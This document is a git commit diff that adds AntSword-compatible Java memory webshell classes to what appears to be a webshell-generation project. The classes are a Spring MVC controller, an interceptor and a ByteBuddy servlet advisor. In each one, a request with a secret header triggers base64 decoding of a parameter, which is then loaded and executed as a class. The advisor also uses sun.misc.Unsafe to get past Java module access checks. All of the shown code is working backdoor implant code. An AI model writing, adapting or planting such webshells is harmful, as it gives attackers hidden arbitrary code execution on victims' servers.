feat: support AntSword shell generate (#34)

2026-09-22 15:10:43 +08:00 · 2025-02-19 00:04:29 +08:00
parent e71f980991
commit 583abbf9ba
98 changed files with 2860 additions and 152 deletions
@@ -0,0 +1,62 @@
+package com.reajason.javaweb.memshell.springwebmvc.antsword;
+
+import org.springframework.web.servlet.ModelAndView;
+import org.springframework.web.servlet.mvc.Controller;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author ReaJason
+ * @since 2025/02/18
+ */
+public class AntSwordControllerHandler extends ClassLoader implements Controller {
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    @SuppressWarnings("all")
+    public Class<?> g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    public AntSwordControllerHandler(ClassLoader c) {
+        super(c);
+    }
+
+
+    public AntSwordControllerHandler() {
+    }
+
+    public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
+        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+            try {
+                byte[] bytes = base64Decode(request.getParameter(pass));
+                Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
+                instance.equals(new Object[]{request, response});
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+}
@@ -0,0 +1,80 @@
+package com.reajason.javaweb.memshell.springwebmvc.antsword;
+
+import org.springframework.web.servlet.AsyncHandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author ReaJason
+ * @since 2025/02/18
+ */
+public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
+    public static String pass;
+    public static String headerName;
+    public static String headerValue;
+
+    @SuppressWarnings("all")
+    public Class<?> g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    public AntSwordInterceptor(ClassLoader c) {
+        super(c);
+    }
+
+
+    public AntSwordInterceptor() {
+    }
+
+    @Override
+    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+            try {
+                byte[] bytes = base64Decode(request.getParameter(pass));
+                Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
+                instance.equals(new Object[]{request, response});
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return false;
+        } else {
+            return true;
+        }
+    }
+
+    @Override
+    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
+
+    }
+
+    @Override
+    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
+
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @Override
+    public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+
+    }
+}
@@ -0,0 +1,62 @@
+package com.reajason.javaweb.memshell.springwebmvc.antsword;
+
+import net.bytebuddy.asm.Advice;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/02/18
+ */
+public class AntSwordServletAdvisor {
+    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+    public static boolean enter(
+            @Advice.Argument(value = 0) Object request,
+            @Advice.Argument(value = 1) Object response,
+            @Advice.Origin Class<?> targetClazz
+    ) {
+        String pass = "pass";
+        String headerName = "headerName";
+        String headerValue = "headerValue";
+        try {
+            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+            Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+            unsafeField.setAccessible(true);
+            Object unsafe = unsafeField.get(null);
+            Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
+            Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
+            Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
+            Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
+            getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
+        } catch (Exception ignored) {
+        }
+        try {
+            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
+            if (value != null
+                    && value.contains(headerValue)) {
+                byte[] data = null;
+                Class<?> base64;
+                String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
+                try {
+                    base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
+                    Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                    data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
+                } catch (Exception var6) {
+                    base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
+                    Object decoder = base64.newInstance();
+                    data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
+                }
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
+                Object instance = payload.newInstance();
+                instance.equals(new Object[]{request, response});
+                return true;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+}